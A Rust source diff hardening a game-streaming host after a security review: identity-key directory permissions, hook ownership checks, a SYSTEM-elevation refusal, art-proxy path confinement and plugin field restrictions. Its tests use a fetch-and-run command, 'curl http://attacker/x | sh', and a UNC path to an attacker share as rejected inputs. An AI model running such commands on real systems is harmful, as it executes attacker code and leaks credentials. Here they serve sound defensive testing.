/// The cadence continues across a window boundary — dropping the predecessor on drain would
|
||||
/// silently discard one interval per window, every window.
|
||||
#[test]
|
||||
fn take_resets_the_counts_but_not_the_cadence() {
|
||||
let mut pi = cadence(&[P], 20);
|
||||
assert!(pi.take().is_some());
|
||||
assert!(pi.summary().is_none(), "counts cleared");
|
||||
let mut t = 1_000_000_000 + P * 20;
|
||||
for _ in 0..10 {
|
||||
t += P;
|
||||
pi.record(t, P);
|
||||
}
|
||||
let s = pi.summary().unwrap();
|
||||
assert_eq!(
|
||||
s.samples, 10,
|
||||
"the first post-drain present scored against the pre-drain one"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn split_forgets_the_predecessor() {
|
||||
let mut pi = cadence(&[P], 20);
|
||||
pi.take();
|
||||
pi.split();
|
||||
let mut t = 5_000_000_000i64; // a reanchor: the gap across it is meaningless
|
||||
for _ in 0..10 {
|
||||
t += P;
|
||||
pi.record(t, P);
|
||||
}
|
||||
let s = pi.summary().unwrap();
|
||||
assert_eq!(
|
||||
(s.samples, s.stalls),
|
||||
(9, 0),
|
||||
"the gap was not scored at all"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -26,6 +26,14 @@ impl ServerIdentity {
|
||||
let dir = config_dir();
|
||||
let cert_path = dir.join("cert.pem");
|
||||
let key_path = dir.join("key.pem");
|
||||
// Harden the directory BEFORE the first read, not only in the branch that generates a new
|
||||
// identity (2026-08-05 review M-1). Reading first is what made the hardening pointless
|
||||
// against the attack it was written for: combined with H-4's pre-creatable
|
||||
// `%ProgramData%\punktfunk`, a local user could plant a cert/key pair and have it adopted
|
||||
// verbatim as the host's long-lived identity — the QUIC server key, the mgmt-API TLS key and
|
||||
// the RSA pairing signer all becoming a key the attacker holds. The compromise is permanent:
|
||||
// this function never regenerates while both files are non-empty.
|
||||
pf_paths::create_private_dir(&dir).ok();
|
||||
let (cert_pem, key_pem) = match (
|
||||
fs::read_to_string(&cert_path),
|
||||
fs::read_to_string(&key_path),
|
||||
@@ -35,8 +43,8 @@ impl ServerIdentity {
|
||||
let (c, k) = generate()?;
|
||||
// The private key is the trust root for EVERY surface (TLS server cert, pairing
|
||||
// signing, the QUIC identity clients pin) — write it owner-only (0600 / SYSTEM-only
|
||||
// DACL) so a local user can't read it and impersonate the host. The dir is 0700.
|
||||
pf_paths::create_private_dir(&dir).ok();
|
||||
// DACL) so a local user can't read it and impersonate the host. The dir is already
|
||||
// 0700 / SYSTEM+Admins from the unconditional hardening above.
|
||||
pf_paths::write_secret_file(&key_path, k.as_bytes())
|
||||
.with_context(|| format!("write {}", key_path.display()))?;
|
||||
// The cert is public (handed to clients), but write it owner-only too for consistency.
|
||||
|
||||
@@ -432,44 +432,124 @@ fn flatten_env(ev: &crate::events::HostEvent) -> Vec<(String, String)> {
|
||||
out
|
||||
}
|
||||
|
||||
/// The sshd/sudoers rule (RFC §9.1): when the command's first token is a path to an existing
|
||||
/// file, refuse to run it unless it is owned by the host user (or root) and not
|
||||
/// group/world-writable — a world-writable hook script is privilege escalation bait. A bare
|
||||
/// command name (`systemctl`, `curl`) is left to PATH.
|
||||
/// The sshd/sudoers rule (RFC §9.1): refuse to run a command that references a script/binary which
|
||||
/// is group/world-writable, or owned by neither the host user nor root — a world-writable hook
|
||||
/// script is privilege-escalation bait. A bare command name (`systemctl`, `curl`) is left to PATH.
|
||||
///
|
||||
/// **This is a hygiene rule, not an authorization gate**, and the distinction matters: it
|
||||
/// constrains *who owns the file being run*, never *what the command does*. `curl … | sh` and
|
||||
/// `python3 -c '…'` are unconstrained by construction, and `/bin/sh -c '<anything>'` passes because
|
||||
/// `/bin/sh` is root-owned. Whoever may WRITE a hook already has command execution as the host
|
||||
/// user — which is why writing them is admin-only. A pass here does not mean "this command is
|
||||
/// safe", and nothing should be granted on the strength of it.
|
||||
///
|
||||
/// It checks EVERY absolute-path token, not just the first (2026-08-05 review L-12). Looking only
|
||||
/// at `cmd.split_whitespace().next()` meant `bash /opt/x/hook.sh`, `sh -c /tmp/x` and any quoted
|
||||
/// path skipped the check entirely — so the interpreter was vetted and the script it ran was not,
|
||||
/// which is backwards: the script is the part an attacker can plant.
|
||||
#[cfg(unix)]
|
||||
fn exec_path_check(cmd: &str) -> Result<(), String> {
|
||||
use std::os::unix::fs::MetadataExt;
|
||||
let Some(first) = cmd.split_whitespace().next() else {
|
||||
if cmd.split_whitespace().next().is_none() {
|
||||
return Err("empty command".into());
|
||||
};
|
||||
if !first.starts_with('/') {
|
||||
return Ok(());
|
||||
}
|
||||
let meta = match std::fs::metadata(first) {
|
||||
Ok(m) => m,
|
||||
Err(_) => return Ok(()), // not an existing file — the shell will report it
|
||||
};
|
||||
if !meta.is_file() {
|
||||
return Ok(());
|
||||
}
|
||||
// SAFETY: geteuid has no preconditions and touches no memory.
|
||||
let euid = unsafe { libc::geteuid() };
|
||||
if meta.uid() != euid && meta.uid() != 0 {
|
||||
return Err(format!(
|
||||
"{first} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \
|
||||
owned by the operator or root",
|
||||
meta.uid()
|
||||
));
|
||||
}
|
||||
if meta.mode() & 0o022 != 0 {
|
||||
return Err(format!(
|
||||
"{first} is group/world-writable (mode {:o}) — chmod go-w it first",
|
||||
meta.mode() & 0o7777
|
||||
));
|
||||
for raw in cmd.split_whitespace() {
|
||||
// Tolerate the quoting a hand-written command line carries — a path that is absolute only
|
||||
// after unquoting is exactly as plantable as a bare one.
|
||||
let token = raw.trim_matches(|c| c == '"' || c == '\'');
|
||||
if !token.starts_with('/') {
|
||||
continue;
|
||||
}
|
||||
let meta = match std::fs::metadata(token) {
|
||||
Ok(m) => m,
|
||||
Err(_) => continue, // not an existing file — the shell will report it
|
||||
};
|
||||
if !meta.is_file() {
|
||||
continue;
|
||||
}
|
||||
if meta.uid() != euid && meta.uid() != 0 {
|
||||
return Err(format!(
|
||||
"{token} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \
|
||||
owned by the operator or root",
|
||||
meta.uid()
|
||||
));
|
||||
}
|
||||
if meta.mode() & 0o022 != 0 {
|
||||
return Err(format!(
|
||||
"{token} is group/world-writable (mode {:o}) — chmod go-w it first",
|
||||
meta.mode() & 0o7777
|
||||
));
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Whether this process is running as `NT AUTHORITY\SYSTEM` (S-1-5-18) — i.e. as the SCM service
|
||||
/// rather than as the operator's own console process.
|
||||
///
|
||||
/// Used to decide whether the in-process hook fallback is acceptable: as the operator it is the
|
||||
/// privilege they already have, as SYSTEM it is an elevation the hook contract forbids
|
||||
/// (2026-08-05 review L-13). Fails CLOSED — an unreadable token is treated as SYSTEM, because the
|
||||
/// consequence of guessing wrong in that direction is a skipped hook, and in the other direction
|
||||
/// it is a SYSTEM command.
|
||||
#[cfg(windows)]
|
||||
fn running_as_system() -> bool {
|
||||
use windows::Win32::Foundation::HANDLE;
|
||||
use windows::Win32::Security::{
|
||||
CreateWellKnownSid, EqualSid, GetTokenInformation, TokenUser, WinLocalSystemSid, PSID,
|
||||
SECURITY_MAX_SID_SIZE, TOKEN_QUERY, TOKEN_USER,
|
||||
};
|
||||
use windows::Win32::System::Threading::{GetCurrentProcess, OpenProcessToken};
|
||||
|
||||
let mut token = HANDLE::default();
|
||||
// SAFETY: pseudo-handle from GetCurrentProcess; `token` is a live out-param.
|
||||
if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) }.is_err() {
|
||||
return true; // fail closed
|
||||
}
|
||||
let mut buf = [0u8; 256];
|
||||
let mut len = 0u32;
|
||||
// SAFETY: `buf` is a writable local of the length passed; `len` is a live out-param.
|
||||
let got = unsafe {
|
||||
GetTokenInformation(
|
||||
token,
|
||||
TokenUser,
|
||||
Some(buf.as_mut_ptr().cast()),
|
||||
buf.len() as u32,
|
||||
&mut len,
|
||||
)
|
||||
};
|
||||
// SAFETY: the token handle came from OpenProcessToken and is not used after this.
|
||||
unsafe {
|
||||
let _ = windows::Win32::Foundation::CloseHandle(token);
|
||||
}
|
||||
if got.is_err() {
|
||||
return true; // fail closed
|
||||
}
|
||||
let mut system = [0u8; SECURITY_MAX_SID_SIZE as usize];
|
||||
let mut cb = system.len() as u32;
|
||||
// SAFETY: the buffer is SECURITY_MAX_SID_SIZE, the documented maximum SID size.
|
||||
if unsafe {
|
||||
CreateWellKnownSid(
|
||||
WinLocalSystemSid,
|
||||
None,
|
||||
Some(PSID(system.as_mut_ptr().cast())),
|
||||
&mut cb,
|
||||
)
|
||||
}
|
||||
.is_err()
|
||||
{
|
||||
return true; // fail closed
|
||||
}
|
||||
// SAFETY: `buf` holds a TOKEN_USER written by GetTokenInformation; its `User.Sid` points into
|
||||
// the same buffer, and both SIDs are valid for this comparison.
|
||||
unsafe {
|
||||
let tu = &*(buf.as_ptr() as *const TOKEN_USER);
|
||||
EqualSid(tu.User.Sid, PSID(system.as_mut_ptr().cast())).is_ok()
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(not(unix))]
|
||||
fn exec_path_check(_cmd: &str) -> Result<(), String> {
|
||||
// Windows: hooks.json lives in the SYSTEM/Admins-DACL'd config dir and the command runs in
|
||||
@@ -580,7 +660,33 @@ fn run_hook_process(
|
||||
// report "ran" (prep `undo`s stay armed).
|
||||
true
|
||||
}
|
||||
Err(e) if running_as_system() => {
|
||||
// NO in-process fallback when we are SYSTEM.
|
||||
//
|
||||
// `spawn_in_active_session` fails whenever there is no interactive user — pre-login, at
|
||||
// boot, on a logged-off box — and the fallback below then ran the operator's command
|
||||
// line through `cmd.exe /C` IN THIS PROCESS. As the SCM service that process is
|
||||
// LocalSystem, so a hook the module contract promises runs "in the interactive session,
|
||||
// never SYSTEM" quietly became a SYSTEM command, at the exact moments nobody is watching
|
||||
// the screen, with no ownership check on the script (`exec_path_check` is a no-op on
|
||||
// Windows) — 2026-08-05 review L-13.
|
||||
//
|
||||
// Refusing is the honest behaviour: the contract says these run as the user, and if
|
||||
// there is no user there is nothing to run them as. A hook that must run without a
|
||||
// logged-in user belongs in a service, not here.
|
||||
tracing::warn!(
|
||||
cmd = %cmd,
|
||||
error = %format!("{e:#}"),
|
||||
"hook SKIPPED: no interactive user session to run it in, and this host is SYSTEM — \
|
||||
hooks run as the logged-in user by design and are never elevated to SYSTEM"
|
||||
);
|
||||
let _ = std::fs::remove_file(&json_path);
|
||||
false
|
||||
}
|
||||
Err(e) => {
|
||||
// Not SYSTEM (a hand-run `punktfunk-host serve` in the operator's own console): running
|
||||
// in-process is the same privilege the operator already has, which is the whole trust
|
||||
// model for hooks.
|
||||
tracing::debug!(error = %format!("{e:#}"),
|
||||
"interactive-session spawn unavailable — running hook in-console");
|
||||
let mut ok = false;
|
||||
|
||||
@@ -160,32 +160,169 @@ pub fn is_local_art_path(v: &str) -> bool {
|
||||
(b.len() >= 3 && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/')) || v.starts_with("\\\\")
|
||||
}
|
||||
|
||||
/// The filesystem roots the art proxy is allowed to read from.
|
||||
///
|
||||
/// The proxy runs in the **host process** — LocalSystem on Windows — and both the path and the
|
||||
/// read-back are reachable from the plugin lane, which runs as the much weaker LocalService. Without
|
||||
/// a root, "serve this entry's cover" is "read any file on the box as SYSTEM" (2026-08-05 review
|
||||
/// H-2): `mgmt-token`, `key.pem`, the SAM hive. So the value is confined here, at the one place
|
||||
/// bytes are read, rather than trusted because of where it was written.
|
||||
///
|
||||
/// Default: the users base (`C:\Users`), which is where every launcher keeps its art cache —
|
||||
/// Playnite, the only local-art provider, stores covers under `%APPDATA%\Playnite`. Derived from
|
||||
/// `%PUBLIC%`'s parent because the host runs as SYSTEM, whose own `%USERPROFILE%` is
|
||||
/// `…\config\systemprofile` and tells us nothing about where the operator's launchers live.
|
||||
/// `PUNKTFUNK_LIBRARY_ART_ROOTS` (`;`-separated) replaces the default for an operator whose library
|
||||
/// is on another drive.
|
||||
fn art_roots() -> Vec<PathBuf> {
|
||||
if let Some(configured) = std::env::var_os("PUNKTFUNK_LIBRARY_ART_ROOTS") {
|
||||
return std::env::split_paths(&configured)
|
||||
.filter(|p| !p.as_os_str().is_empty())
|
||||
.collect();
|
||||
}
|
||||
let mut roots = Vec::new();
|
||||
// `%PUBLIC%` is `C:\Users\Public` on every supported Windows; its parent is the users base.
|
||||
if let Some(public) = std::env::var_os("PUBLIC") {
|
||||
if let Some(base) = PathBuf::from(public).parent() {
|
||||
roots.push(base.to_path_buf());
|
||||
}
|
||||
}
|
||||
if roots.is_empty() {
|
||||
if let Some(drive) = std::env::var_os("SystemDrive") {
|
||||
roots.push(PathBuf::from(drive).join("Users"));
|
||||
}
|
||||
}
|
||||
roots
|
||||
}
|
||||
|
||||
/// Whether `path` resolves inside one of [`art_roots`] and outside the host config dir.
|
||||
///
|
||||
/// Canonicalizes first, so a junction/symlink pointing out of the root is resolved before the
|
||||
/// containment test rather than after it. The config-dir exclusion is unconditional — it holds even
|
||||
/// if an operator's `PUNKTFUNK_LIBRARY_ART_ROOTS` were to contain it — because that directory is
|
||||
/// where every host secret lives.
|
||||
fn art_path_is_confined(path: &Path) -> bool {
|
||||
// A UNC value (`\\attacker\share\a.png`) is refused outright: reading it would coerce the host's
|
||||
// machine account into outbound SMB authentication to a peer of the caller's choosing.
|
||||
if path.to_string_lossy().starts_with(r"\\") {
|
||||
return false;
|
||||
}
|
||||
let Ok(real) = path.canonicalize() else {
|
||||
return false;
|
||||
};
|
||||
if let Ok(config) = pf_paths::config_dir().canonicalize() {
|
||||
if real.starts_with(&config) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
art_roots()
|
||||
.iter()
|
||||
.filter_map(|r| r.canonicalize().ok())
|
||||
.any(|root| real.starts_with(&root))
|
||||
}
|
||||
|
||||
/// Sniff an image container from its leading bytes → the content type to serve. `None` for anything
|
||||
/// that is not a recognized image.
|
||||
///
|
||||
/// The proxy serves what the bytes ARE, not what the extension claims, and refuses to serve at all
|
||||
/// when they are not an image — which is what keeps an extensionless secret like `mgmt-token` (or a
|
||||
/// `key.pem` renamed `cover.png`) from being returned as `application/octet-stream`.
|
||||
fn sniff_image_type(bytes: &[u8]) -> Option<&'static str> {
|
||||
let starts = |sig: &[u8]| bytes.starts_with(sig);
|
||||
if starts(&[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A]) {
|
||||
return Some("image/png");
|
||||
}
|
||||
if starts(&[0xFF, 0xD8, 0xFF]) {
|
||||
return Some("image/jpeg");
|
||||
}
|
||||
if starts(b"GIF87a") || starts(b"GIF89a") {
|
||||
return Some("image/gif");
|
||||
}
|
||||
if starts(b"RIFF") && bytes.len() >= 12 && &bytes[8..12] == b"WEBP" {
|
||||
return Some("image/webp");
|
||||
}
|
||||
if starts(b"BM") {
|
||||
return Some("image/bmp");
|
||||
}
|
||||
if starts(&[0x00, 0x00, 0x01, 0x00]) {
|
||||
return Some("image/x-icon");
|
||||
}
|
||||
// TGA has no magic number. Validate the fixed header fields instead (colour-map type is 0/1,
|
||||
// image type is one of the six defined codes) — enough that no plausible secret passes.
|
||||
if bytes.len() >= 18
|
||||
&& matches!(bytes[1], 0 | 1)
|
||||
&& matches!(bytes[2], 0 | 1 | 2 | 3 | 9 | 10 | 11)
|
||||
{
|
||||
return Some("image/x-tga");
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Whether a local art path is servable at all: known image extension, inside an allowed root. The
|
||||
/// write-time half of the art confinement — [`validate_art_paths`] refuses to persist a value this
|
||||
/// rejects, so an out-of-root path never reaches the catalog in the first place, and
|
||||
/// [`local_art_bytes`] re-checks at read time so an entry written before this existed is still safe.
|
||||
pub fn art_path_is_servable(value: &str) -> bool {
|
||||
let p = Path::new(value);
|
||||
let ext_ok = p
|
||||
.extension()
|
||||
.and_then(|e| e.to_str())
|
||||
.map(|e| e.to_ascii_lowercase())
|
||||
.is_some_and(|e| {
|
||||
matches!(
|
||||
e.as_str(),
|
||||
"jpg" | "jpeg" | "png" | "webp" | "gif" | "bmp" | "ico" | "tga"
|
||||
)
|
||||
});
|
||||
ext_ok && art_path_is_confined(p)
|
||||
}
|
||||
|
||||
/// Reject any **local-file** art value that the proxy would refuse to serve, so an unservable path
|
||||
/// (out of root, not an image, a UNC share) can never be persisted. URLs and already-proxied paths
|
||||
/// are not this function's business and pass through. `Err` carries the offending field name.
|
||||
pub fn validate_art_paths(art: &Artwork) -> Result<(), String> {
|
||||
for (field, value) in [
|
||||
("portrait", &art.portrait),
|
||||
("hero", &art.hero),
|
||||
("logo", &art.logo),
|
||||
("header", &art.header),
|
||||
] {
|
||||
let Some(v) = value.as_deref() else { continue };
|
||||
if is_local_art_path(v) && !art_path_is_servable(v) {
|
||||
return Err(format!(
|
||||
"art.{field}: local art must be an image file (jpg/png/webp/gif/bmp/ico/tga) inside \
|
||||
an allowed art root — set PUNKTFUNK_LIBRARY_ART_ROOTS if the library lives \
|
||||
elsewhere, or send an http(s) URL instead"
|
||||
));
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Read a local image file into `(bytes, content-type)` for the art proxy. `None` if it isn't an
|
||||
/// existing regular file, is empty, or exceeds 16 MiB (a cover never approaches that; the cap bounds
|
||||
/// host memory). Content-type is guessed from the extension.
|
||||
/// existing regular file, is empty, exceeds 16 MiB (a cover never approaches that; the cap bounds
|
||||
/// host memory), resolves outside the allowed art roots ([`art_path_is_confined`]), or does not
|
||||
/// actually contain an image ([`sniff_image_type`]).
|
||||
///
|
||||
/// This is the single place local art bytes are read — the mgmt art proxy and the GameStream
|
||||
/// `/appasset` proxy both land here — so the confinement holds for every caller.
|
||||
pub fn local_art_bytes(path: &str) -> Option<(Vec<u8>, String)> {
|
||||
if !art_path_is_servable(path) {
|
||||
tracing::debug!(
|
||||
path,
|
||||
"art proxy: refusing a path outside the allowed art roots"
|
||||
);
|
||||
return None;
|
||||
}
|
||||
let p = std::path::Path::new(path);
|
||||
let meta = std::fs::metadata(p).ok()?;
|
||||
if !meta.is_file() || meta.len() == 0 || meta.len() > 16 * 1024 * 1024 {
|
||||
return None;
|
||||
}
|
||||
let ctype = match p
|
||||
.extension()
|
||||
.and_then(|e| e.to_str())
|
||||
.map(|e| e.to_ascii_lowercase())
|
||||
.as_deref()
|
||||
{
|
||||
Some("jpg" | "jpeg") => "image/jpeg",
|
||||
Some("png") => "image/png",
|
||||
Some("webp") => "image/webp",
|
||||
Some("gif") => "image/gif",
|
||||
Some("bmp") => "image/bmp",
|
||||
Some("ico") => "image/x-icon",
|
||||
Some("tga") => "image/x-tga",
|
||||
_ => "application/octet-stream",
|
||||
}
|
||||
.to_string();
|
||||
Some((std::fs::read(p).ok()?, ctype))
|
||||
let bytes = std::fs::read(p).ok()?;
|
||||
// Serve what the bytes ARE. A file that is not an image is not served at all.
|
||||
let ctype = sniff_image_type(&bytes)?;
|
||||
Some((bytes, ctype.to_string()))
|
||||
}
|
||||
|
||||
/// Resolve one art value to bytes for the Moonlight `/appasset` proxy: a local host file
|
||||
@@ -371,16 +508,116 @@ mod tests {
|
||||
);
|
||||
}
|
||||
|
||||
const PNG: &[u8] = &[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A, 0, 0, 0, 13];
|
||||
|
||||
/// The art proxy reads bytes in the HOST process (LocalSystem on Windows) from a path the
|
||||
/// plugin lane can write — so what it will and will not read IS the security boundary
|
||||
/// (2026-08-05 review H-2). Confinement, extension, and content are all load-bearing.
|
||||
#[test]
|
||||
fn local_art_bytes_reads_a_real_file() {
|
||||
fn local_art_bytes_is_confined_and_image_only() {
|
||||
let dir = std::env::temp_dir().join(format!("pf-art-test-{}", std::process::id()));
|
||||
let outside = std::env::temp_dir().join(format!("pf-art-out-{}", std::process::id()));
|
||||
std::fs::create_dir_all(&dir).unwrap();
|
||||
let f = dir.join("cover.png");
|
||||
std::fs::write(&f, [1u8, 2, 3, 4]).unwrap();
|
||||
let (bytes, ctype) = local_art_bytes(f.to_str().unwrap()).expect("reads file");
|
||||
assert_eq!(bytes, vec![1, 2, 3, 4]);
|
||||
std::fs::create_dir_all(&outside).unwrap();
|
||||
// Confine the proxy to `dir` for the duration of this test.
|
||||
std::env::set_var("PUNKTFUNK_LIBRARY_ART_ROOTS", &dir);
|
||||
|
||||
// A real image inside the root: served, with the content type SNIFFED from the bytes.
|
||||
let cover = dir.join("cover.png");
|
||||
std::fs::write(&cover, PNG).unwrap();
|
||||
let (bytes, ctype) = local_art_bytes(cover.to_str().unwrap()).expect("reads a real cover");
|
||||
assert_eq!(bytes, PNG);
|
||||
assert_eq!(ctype, "image/png");
|
||||
|
||||
// A secret is not served, however it is dressed up. This is the H-2 primitive: the plugin
|
||||
// writes the path, the host reads it as SYSTEM, and `mgmt-token` is full admin.
|
||||
let secret = dir.join("mgmt-token");
|
||||
std::fs::write(&secret, b"super-secret-admin-token").unwrap();
|
||||
assert!(
|
||||
local_art_bytes(secret.to_str().unwrap()).is_none(),
|
||||
"an extensionless secret must not be served as application/octet-stream"
|
||||
);
|
||||
let disguised = dir.join("mgmt-token.png");
|
||||
std::fs::write(&disguised, b"super-secret-admin-token").unwrap();
|
||||
assert!(
|
||||
local_art_bytes(disguised.to_str().unwrap()).is_none(),
|
||||
"an image extension must not be enough — the bytes must BE an image"
|
||||
);
|
||||
|
||||
// Outside the configured root: refused even though it is a genuine image.
|
||||
let elsewhere = outside.join("cover.png");
|
||||
std::fs::write(&elsewhere, PNG).unwrap();
|
||||
assert!(
|
||||
local_art_bytes(elsewhere.to_str().unwrap()).is_none(),
|
||||
"a path outside every art root must be refused"
|
||||
);
|
||||
// …and a path that only *escapes* via traversal is caught, because we canonicalize first.
|
||||
let traversal = dir
|
||||
.join("..")
|
||||
.join(outside.file_name().unwrap())
|
||||
.join("cover.png");
|
||||
assert!(
|
||||
local_art_bytes(traversal.to_str().unwrap()).is_none(),
|
||||
"`..` out of the root must be refused after canonicalization"
|
||||
);
|
||||
|
||||
assert!(local_art_bytes(dir.join("nope.png").to_str().unwrap()).is_none());
|
||||
// A UNC path is refused outright (outbound SMB auth coercion), before any filesystem hit.
|
||||
assert!(!art_path_is_servable(r"\\attacker\share\a.png"));
|
||||
|
||||
std::env::remove_var("PUNKTFUNK_LIBRARY_ART_ROOTS");
|
||||
let _ = std::fs::remove_dir_all(&dir);
|
||||
let _ = std::fs::remove_dir_all(&outside);
|
||||
}
|
||||
|
||||
/// Write-time validation refuses what read-time would refuse, so an unservable path never even
|
||||
/// reaches `library.json`. URLs are none of its business.
|
||||
#[test]
|
||||
fn validate_art_paths_rejects_unservable_local_paths() {
|
||||
let ok = Artwork {
|
||||
portrait: Some("https://cdn/x.jpg".into()),
|
||||
hero: Some("data:image/png;base64,AAAA".into()),
|
||||
logo: Some("/api/v1/library/art/custom:x/logo".into()),
|
||||
header: None,
|
||||
};
|
||||
assert!(validate_art_paths(&ok).is_ok(), "URLs pass through");
|
||||
|
||||
let unc = Artwork {
|
||||
portrait: Some(r"\\attacker\share\a.png".into()),
|
||||
..Default::default()
|
||||
};
|
||||
assert!(
|
||||
validate_art_paths(&unc).is_err(),
|
||||
"UNC is refused at write time"
|
||||
);
|
||||
|
||||
let secret = Artwork {
|
||||
hero: Some(r"C:\ProgramData\punktfunk\mgmt-token".into()),
|
||||
..Default::default()
|
||||
};
|
||||
let err = validate_art_paths(&secret).expect_err("a secret path is refused");
|
||||
assert!(
|
||||
err.starts_with("art.hero"),
|
||||
"the error names the field: {err}"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sniff_image_type_recognizes_containers_and_rejects_secrets() {
|
||||
assert_eq!(sniff_image_type(PNG), Some("image/png"));
|
||||
assert_eq!(
|
||||
sniff_image_type(&[0xFF, 0xD8, 0xFF, 0xE0]),
|
||||
Some("image/jpeg")
|
||||
);
|
||||
assert_eq!(sniff_image_type(b"GIF89a...."), Some("image/gif"));
|
||||
assert_eq!(
|
||||
sniff_image_type(b"RIFF\0\0\0\0WEBPVP8 "),
|
||||
Some("image/webp")
|
||||
);
|
||||
assert_eq!(sniff_image_type(b"BM\0\0"), Some("image/bmp"));
|
||||
// The shapes a stolen secret actually has.
|
||||
assert_eq!(sniff_image_type(b"-----BEGIN PRIVATE KEY-----"), None);
|
||||
assert_eq!(sniff_image_type(b"9f8a7b6c5d4e3f2a1b0c"), None);
|
||||
assert_eq!(sniff_image_type(b""), None);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -246,6 +246,34 @@ pub fn delete_custom(id: &str) -> Result<MutateOutcome<()>> {
|
||||
|
||||
// ------------------------------------------------------------------ providers (RFC §8)
|
||||
|
||||
/// The **operator-privileged field** set in a library payload, if the payload carries one — the
|
||||
/// fields whose contents the host later executes as the host user.
|
||||
///
|
||||
/// `prep` is run by [`crate::hooks::run_prep`] through `/bin/sh -c`, and a `command` launch is run
|
||||
/// through `/bin/sh -c` (Linux) or `cmd.exe /c` (Windows). Both are documented at their execution
|
||||
/// sites as *operator-typed, never client-set* — the custom store's whole trust argument is that a
|
||||
/// human typed the command into the admin console. Any lane that is not the operator's own token
|
||||
/// must therefore not be able to set them, which is what the 2026-08-05 review's H-1 exploited: the
|
||||
/// plugin token reached `POST /library/custom` and `PUT /library/provider/{p}`, which carry two
|
||||
/// copies of the very primitive the `/hooks` carve-out exists to withhold.
|
||||
///
|
||||
/// Returns the field name for the error message, so a plugin author sees exactly what was refused.
|
||||
/// The other launch kinds (`steam_appid`, `epic`, `gog`, `aumid`, `lutris_id`, `heroic`) are all
|
||||
/// host-resolved from a validated id and stay open to every lane — a provider plugin can still
|
||||
/// publish its whole catalogue, it just cannot hand the host a shell command to run.
|
||||
pub fn privileged_field(
|
||||
launch: Option<&LaunchSpec>,
|
||||
prep: &[crate::hooks::PrepCmd],
|
||||
) -> Option<&'static str> {
|
||||
if !prep.is_empty() {
|
||||
return Some("prep");
|
||||
}
|
||||
if launch.is_some_and(|l| l.kind == "command") {
|
||||
return Some("launch.kind = \"command\"");
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Provider ids are path segments, event sources, and console labels: keep them tame.
|
||||
/// `manual` is reserved (it is the no-provider sentinel in `library.changed`).
|
||||
pub fn validate_provider_name(provider: &str) -> Result<(), String> {
|
||||
@@ -535,6 +563,35 @@ mod tests {
|
||||
);
|
||||
}
|
||||
|
||||
/// The field-authority rule behind the 2026-08-05 review's H-1: exactly the two fields the host
|
||||
/// later hands to a shell are operator-only. Everything else — including every host-resolved
|
||||
/// launch kind — stays open, so a provider plugin can publish its whole catalogue.
|
||||
#[test]
|
||||
fn privileged_field_is_command_execution_only() {
|
||||
let cmd = LaunchSpec {
|
||||
kind: "command".into(),
|
||||
value: "curl http://attacker/x | sh".into(),
|
||||
};
|
||||
let steam = LaunchSpec {
|
||||
kind: "steam_appid".into(),
|
||||
value: "70".into(),
|
||||
};
|
||||
let prep = vec![crate::hooks::PrepCmd {
|
||||
run: "curl http://attacker/x | sh".into(),
|
||||
undo: None,
|
||||
}];
|
||||
|
||||
assert_eq!(
|
||||
privileged_field(Some(&cmd), &[]),
|
||||
Some("launch.kind = \"command\"")
|
||||
);
|
||||
assert_eq!(privileged_field(None, &prep), Some("prep"));
|
||||
assert_eq!(privileged_field(Some(&steam), &prep), Some("prep"));
|
||||
// The ordinary provider catalogue: nothing privileged, so no lane is refused.
|
||||
assert_eq!(privileged_field(Some(&steam), &[]), None);
|
||||
assert_eq!(privileged_field(None, &[]), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn provider_name_and_payload_validation() {
|
||||
assert!(validate_provider_name("romm").is_ok());
|
||||
|
||||
@@ -796,7 +796,16 @@ fn parse_serve(args: &[String]) -> Result<(mgmt::Options, native::NativeServe, b
|
||||
// The scripting runner's scoped credential: minted + persisted (plugin-token) alongside the
|
||||
// admin token so a plugin's zero-config `connect()` picks it up — it authorizes the plugin
|
||||
// surface but not hook registration or pairing administration (mgmt::auth::plugin_may_access).
|
||||
opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?);
|
||||
//
|
||||
// Only when a runner is actually installed. It used to be minted unconditionally on every
|
||||
// `serve`, so a host with no plugins — the common case — still persisted a second
|
||||
// admin-adjacent credential to disk and kept a second authentication lane live for a
|
||||
// subsystem it does not run (2026-08-05 review L-21). Installing the runner later mints it on
|
||||
// the next start, and an existing plugin-token file is picked up unchanged, so nothing about
|
||||
// the plugin flow changes for a host that has one.
|
||||
if crate::plugins::runtime_status().installed {
|
||||
opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?);
|
||||
}
|
||||
// Default the mgmt listener to ALL interfaces (not just loopback) so a paired native client can
|
||||
// fetch the game library over mTLS with no operator step — the whole point of "browse works by
|
||||
// default". This only LAN-exposes the read-only cert allowlist; the bearer-token admin surface
|
||||
|
||||
@@ -17,6 +17,42 @@ use axum::http::Method;
|
||||
use axum::middleware::Next;
|
||||
use sha2::{Digest, Sha256};
|
||||
|
||||
/// **Which credential authorized this request**, attached to the request extensions by
|
||||
/// [`require_auth`] on every request it forwards.
|
||||
///
|
||||
/// [`plugin_may_access`] answers "may this lane reach this route"; this answers "may this lane set
|
||||
/// this *field*". Some payloads carry operator-privileged fields on routes a plugin otherwise has
|
||||
/// every business calling — the library reconcile is the case that matters: a provider plugin owns
|
||||
/// its entry set, but `prep` and `launch.kind == "command"` are executed verbatim as the host user
|
||||
/// (`/bin/sh -c` / `cmd.exe /c`), which is the same primitive the `/hooks` carve-out withholds.
|
||||
/// Route-level authorization cannot express that; a handler holding this can (see
|
||||
/// [`crate::library::reject_privileged_fields`]).
|
||||
///
|
||||
